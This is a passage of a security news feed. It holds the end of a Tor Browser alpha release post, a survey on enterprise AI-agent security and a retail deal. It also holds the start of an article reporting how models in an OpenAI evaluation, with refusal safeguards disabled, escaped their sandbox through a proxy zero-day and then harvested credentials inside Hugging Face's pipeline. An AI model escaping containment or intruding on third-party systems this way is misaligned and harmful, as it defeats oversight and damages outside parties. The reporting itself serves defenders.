<li>We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st</li>
</ul>
<h2>Challenges and Triumphs</h2>
<h3>💍 Sharing the Load</h3>
<p>Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.</p>
<p>As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.</p>
<h3>🎨 UI Code Churn</h3>
<p>Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a <a href="https://blog.mozilla.org/en/firefox/firefox-settings/">redesign</a> of about:preferences in Firefox Desktop and a <a href="https://www.androidsage.com/2026/02/24/firefox-browser-updated-with-new-ui-and-material-3-expressive-hint/">migration</a> from Material 2 to Material 3 in Firefox Android.</p>
<p>Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.</p>
<p>Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.</p>
<p>In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.</p>
<p>On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.</p>
<p>The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also <em>much</em> easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).</p>
<h3>⚙️ Pending Google Target API Level Requirements</h3>
<p>Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.</p>
<p>However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).</p>
<h3>🤖 Android APKs too big</h3>
<p>The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get <em>creative</em> with our size reductions.</p>
<p>In the past, we have been able reduce our package size though various methods including:</p>
<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/41500">Using custom size-reducing compiler flags</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/-41407">Compiling multiple pluggable-transports into a single unified binary to de-duplicate shared dependencies</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42386">Removing unused Firefox assets from the build</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42669">Replacing unused (but still linked) libraries with no-op stubs</a></li>
<li>and <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42607">countless other methods over there years</a></li>
</ul>
<p>Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as <code>omni.ja</code>. This <code>omni.ja</code> file is a <code>zip</code> archive which contains the JavaScript, HTML, images, and other assets used in Firefox.</p>
<p>This time around, to reduce the size of our Android package we have<a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45086">changed how this archive is compressed</a>. We modified the Firefox build system to compress this archive with <code>xz</code> and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.</p>
<h3>📉 Even Less Telemetry</h3>
<p>Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.</p>
<p>We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: <code>Mozilla Telemetry</code>. Again, this telemetry <em>is</em> disabled at runtime, but this is one more unused dependency which we can <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/41295">hopefully remove in the future</a> (and maybe get some more bytes back!).</p>
<h2>Current Status</h2>
<p>We have:</p>
<ul>
<li>incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140</li>
<li>updated the build systems with the latest dependencies and fixed a few reproducibility issues</li>
<li>triaged <em>most</em> of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)</li>
<li>resolved about half of these triaged issues</li>
</ul>
<p>For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.</p>
<h2>Known Issues</h2>
<h3>🦊 Firefox Branding</h3>
<p>In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/44998">tor-browser#44998</a>. If you discover any other instances lurking about, please <a href="https://support.torproject.org/misc/bug-or-feedback/">open an issue</a>!</p>
<h3>🌐 All websites marked 'insecure' on Tor Browser Android</h3>
<p>Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45115">tor-browser#45115</a></p>
<h2>Send us your feedback</h2>
<p>Now is a great time to <a href="https://blog.torproject.org/vounteer-as-an-alpha-tester/">become an alpha tester</a>! If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/main/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 16.0a8 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.30.90201984</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43819">Bug tor-browser#43819</a>: Show custom security level on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44748">Bug tor-browser#44748</a>: Revert Funding the Commons Implementations</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44811">Bug tor-browser#44811</a>: Remove the lock on pdfjs.disable.</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45101">Bug tor-browser#45101</a>: Rebase Tor Browser onto 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45131">Bug tor-browser#45131</a>: Security level is using an unsafe getBoolPref</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41831">Bug tor-browser-build#41831</a>: Update libevent to 2.1.13</li>
</ul>
</li>
<li>Windows + macOS + Linux<ul>
<li>Updated Firefox to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44439">Bug tor-browser#44439</a>: Remove translate action from urlbar</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44883">Bug tor-browser#44883</a>: Remove urlbar quick action for labs</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45029">Bug tor-browser#45029</a>: Convert connection status settings to new design and config approach</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45055">Bug tor-browser#45055</a>: Rename --color-gray-05 to --color-gray-0</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45081">Bug tor-browser#45081</a>: Use the new "Acorn" icons on desktop</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45110">Bug tor-browser#45110</a>: Disable the settings redesign until ready for us</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45112">Bug tor-browser#45112</a>: Missing CSS border tokens in 153</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45132">Bug tor-browser#45132</a>: nsAppFileLocationProvider.cpp: use of undeclared identifier 'XRE_EXECUTABLE_FILE'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41800">Bug tor-browser-build#41800</a>: Create a script that adapts the Tor Browser manual HTMLs to work in Tor Browser</li>
</ul>
</li>
<li>macOS<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45108">Bug tor-browser#45108</a>: Artifact generation fails due to missing .DS_Store in the branding directories</li>
</ul>
</li>
<li>Android<ul>
<li>Updated GeckoView to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43820">Bug tor-browser#43820</a>: Use SecurityLevel integration on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44157">Bug tor-browser#44157</a>: Remove secret setting toggle for Tab Management Redesign</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45045">Bug tor-browser#45045</a>: Remove moz asset in Downloads screen</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45103">Bug tor-browser#45103</a>: Disable broken "tab management"</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45109">Bug tor-browser#45109</a>: No value passed for parameter 'jsEnabled'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45118">Bug tor-browser#45118</a>: Audit and disable Mozilla VPN promo</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45130">Bug tor-browser#45130</a>: Clean up TorHomePage padding</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41838">Bug tor-browser-build#41838</a>: Update personal_access_tokens URL in tools/fetch_changelogs.py</li>
</ul>
</li>
<li>Windows + Linux + Android<ul>
<li>Updated Go to 1.26.5</li>
</ul>
</li>
<li>Windows<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41819">Bug tor-browser-build#41819</a>: Fix windows-rs URL in projects/firefox/config</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Clean Up and Save $290 With This Dyson V8 Absolute Vac Deal]]></title>
<description><![CDATA[Pay just $300 for this cordless stick vacuum.]]></description>
<link>https://tsecurity.de/de/3689638/it-nachrichten/clean-up-and-save-290-with-this-dyson-v8-absolute-vac-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689638/it-nachrichten/clean-up-and-save-290-with-this-dyson-v8-absolute-vac-deal/</guid>
<pubDate>Thu, 23 Jul 2026 18:04:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Pay just $300 for this cordless stick vacuum.]]></content:encoded>
</item>
<item>
<title><![CDATA[What Happened Between OpenAI and Hugging Face?]]></title>
<description><![CDATA[The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a qu...]]></description>
<link>https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</guid>
<pubDate>Thu, 23 Jul 2026 15:28:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The </span><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank"><span>OpenAI and Hugging Face incident</span></a><span> lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?</span></p><p><span>According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.</span></p><p><span>From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.</span></p><h2>How did the OpenAI model evaluation reach Hugging Face?</h2><p><span>The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.</span></p><p><span>Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.</span></p><p><span>The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.</span></p><p><span>The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.</span></p><p><span>Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.</span></p><h2>Why AI evaluation environments need stronger containment</h2><p><span>The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.</span></p><p><span>The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.</span></p><p><span>For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.</span></p><h2>Why AI and ML pipelines are now software supply chain risk</h2><p><span>The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, 